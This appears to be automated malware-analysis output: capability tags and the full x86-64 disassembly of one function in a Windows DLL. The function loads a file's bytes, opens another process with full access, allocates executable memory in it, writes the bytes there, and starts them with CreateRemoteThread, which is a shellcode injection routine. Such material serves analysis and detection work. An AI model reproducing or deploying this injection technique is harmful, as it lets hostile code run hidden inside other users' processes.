Function at 0x180001880
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
lea rbp, [rsp - 0x80]
sub rsp, 0x180
mov qword [rbp + 0x70], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
xor r13d, r13d
mov dword [rbp + 0xa0], r13d
lea rax, [0x18001ade0]
mov qword [rsp + 0x60], rax
mov dword [rbp + 0xa0], 1
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x10], rax
mov qword [rsp + 0x68], r13
lea rcx, [rbp + 0x10]
call fcn.1800015a0
lea r11, [rsp + 0x70]
mov qword [rbp + 0x58], r11
mov qword [rbp + 0x60], r13
lea rcx, [rbp + 0x10]
call fcn.180003860
mov byte [rbp + 0x68], al
cmp qword [rbp + 0x58], r13
jne 0x180001913
mov edx, dword [rbp + 0x20]
or edx, 4
xor r8d, r8d
lea rcx, [rbp + 0x10]
call fcn.180001430
nop
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x60], rax
lea rcx, [rsp + 0x70]
call fcn.180002f20
nop
lea rcx, [rsp + 0x70]
call fcn.180002fc0
test rax, rax
jne 0x180001969
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea rcx, [rsp + rcx + 0x60]
mov edx, dword [rcx + 0x10]
or edx, 2
cmp qword [rcx + 0x48], 0
jne 0x180001960
or edx, 4
xor r8d, r8d
call fcn.180001430
nop
mov rcx, qword [rsp + 0x60]
movsxd rax, dword [rcx + 4]
test byte [rsp + rax + 0x70], 6
jne 0x1800019ab
mov rcx, qword [rbp + rax - 0x58]
mov rax, qword [rcx]
mov dword [rsp + 0x20], 1
mov r9d, 1
xor r8d, r8d
lea rdx, [rsp + 0x40]
call qword [rax + 0x50]
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
jmp 0x1800019b5
mov rdx, qword [0x180017480]
mov rax, r13
movsxd rsi, eax
add rsi, rdx
movsxd rax, dword [rcx + 4]
test byte [rsp + rax + 0x70], 6
jne 0x180001a21
movsxd rax, dword [rcx + 4]
mov rcx, qword [rbp + rax - 0x58]
mov rax, qword [rcx]
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x40]
call qword [rax + 0x50]
movsxd r11, dword [rsp + 0x48]
add r11, qword [rsp + 0x40]
cmp r11, qword [0x180017480]
jne 0x180001a21
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea rcx, [rsp + rcx + 0x60]
mov edx, dword [rcx + 0x10]
or edx, 2
cmp qword [rcx + 0x48], 0
jne 0x180001a19
or edx, 4
xor r8d, r8d
call fcn.180001430
mov rcx, rsi
call fcn.18000498c
mov r12, rax
mov r8, rsi
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.180001c60
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
test byte [rdx + rax + 0x10], 6
je 0x180001a87
mov rcx, r12
call fcn.180005cc8
lea rcx, [rsp + 0x70]
call fcn.1800030b0
test rax, rax
jne 0x180001a87
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea rcx, [rsp + rcx + 0x60]
mov edx, dword [rcx + 0x10]
or edx, 2
cmp qword [rcx + 0x48], 0
jne 0x180001a7f
or edx, 4
xor r8d, r8d
call fcn.180001430
lea rcx, [rsp + 0x70]
call fcn.1800030b0
test rax, rax
jne 0x180001abc
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea rcx, [rsp + rcx + 0x60]
mov edx, dword [rcx + 0x10]
or edx, 2
cmp qword [rcx + 0x48], 0
jne 0x180001ab4
or edx, 4
xor r8d, r8d
call fcn.180001430
call fcn.1800017a0
mov r8d, eax
mov edx, 1
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rsi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
mov qword [rsp + 0x20], r13
mov r9, rsi
mov r8, r12
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
mov r9, rbx
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
nop
lea rcx, [rbp + 0x10]
call fcn.180002020
lea r11, vtable.std::ios_base.0
mov qword [rbp + 0x10], r11
lea rcx, [rbp + 0x10]
call fcn.180004170
lea r11, [rsp + 0x180]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r13
pop r12
pop rbp
ret